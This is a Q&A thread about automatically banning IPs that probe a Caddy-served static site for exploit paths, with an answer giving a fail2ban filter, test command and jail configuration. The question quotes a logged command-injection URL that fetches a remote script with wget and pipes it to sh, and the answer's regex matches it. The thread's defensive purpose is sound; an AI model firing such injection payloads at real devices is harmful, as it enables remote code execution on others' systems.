Communities

Writing
Writing
Codidact Meta
Codidact Meta
The Great Outdoors
The Great Outdoors
Photography & Video
Photography & Video
Scientific Speculation
Scientific Speculation
Cooking
Cooking
Electrical Engineering
Electrical Engineering
Judaism
Judaism
Languages & Linguistics
Languages & Linguistics
Software Development
Software Development
Mathematics
Mathematics
Christianity
Christianity
Code Golf
Code Golf
Music
Music
Physics
Physics
Linux Systems
Linux Systems
Power Users
Power Users
Tabletop RPGs
Tabletop RPGs
Community Proposals
Community Proposals
tag:snake search within a tag
answers:0 unanswered questions
user:xxxx search by author id
score:0.5 posts with 0.5+ score
"snake oil" exact phrase
votes:4 posts with 4+ votes
created:<1w created < 1 week ago
post_type:xxxx type of post
Search help
Notifications
Mark all as read See all your notifications »
Q&A

Comments on How to automatically block IPs that try exploit URLs?

Parent

How to automatically block IPs that try exploit URLs?

+6
−0

I have a static website I serve with Caddy. The Caddy is inside a container.

I notice that occasionally I get malicious requests, looking at the paths requested. Some examples are:

  • /cgi-bin/luci/;stok=/locale?form=country&operation=write&country=$(id>`wget+http://[ some ip ]/t+-O-+|+sh`)
  • /backup
  • /wp-admin/css/about.php

These are obviously hackers trying some common exploits to see if they'll get lucky and I want to block them automatically. For example, I could provide a list of string patterns and maybe any IP that requests a path that matches those will get an IP ban for a month.

I realize hackers can obtain fresh IPs in various ways. I still want to do the IP ban just to make their life harder.

How can I do this?

History
Why does this post require attention from curators or moderators?
You might want to add some details to your flag.
Why should this post be closed?

0 comment threads

Post
+4
−0

If these requests are logged into a log file you can install fail2ban and configure it to act on these log entries. You can configure it to block the requests via the local firewall for a duration of your choosing.

This would be a very basic (and untested) example:

You create a service definition /etc/fail2ban/filter.d/myservice.conf:

[Definition]
failregex = \$\(id>`wget\+http:\/\/\[.+\]\/t\+-O-\+\|\+sh`

You can test it with the command fail2ban-regex:

fail2ban-regex /var/log/myservice.log /etc/fail2ban/filter.d/myservice.conf

Then you create a jail that uses this service in /etc/fail2ban/jail.d/myservice.conf

# service name
[myservice]
# turn on /off
enabled  = true
# ports to ban (numeric or text)
port     = http,https
# filter from previous step
filter   = myservice
# file to parse
logpath  = /var/log/myservice.log
# ban rule:
# 5 times on 1 minute
maxretry = 5
findtime = 60
# ban on 10 minutes
bantime = 600

This assumes that your service is accessed via regular HTTP/HTTPS ports, those are getting blocked.

History
Why does this post require attention from curators or moderators?
You might want to add some details to your flag.

1 comment thread

Can you expand on that? (3 comments)
Can you expand on that?
Michael‭ wrote about 2 months ago

If you could be more specific than "Have fail2ban look at your log," I think that would be helpful. If it takes a custom script, I don't think you need to write the script, but showing how fail2ban can use an arbitrary script is better than what you have now.

GeraldS‭ wrote about 2 months ago

I'll add a concrete example as soon as codidact stops blocking me when I edit my answer. Until then, examples for custom jails can be found all over the internet. You don't need any scripting, just a regex that matches the lines in the logs.

Michael‭ wrote about 2 months ago

codidact stops blocking me when I edit my answer

Oof, fair. I look forward to the update when the editing works!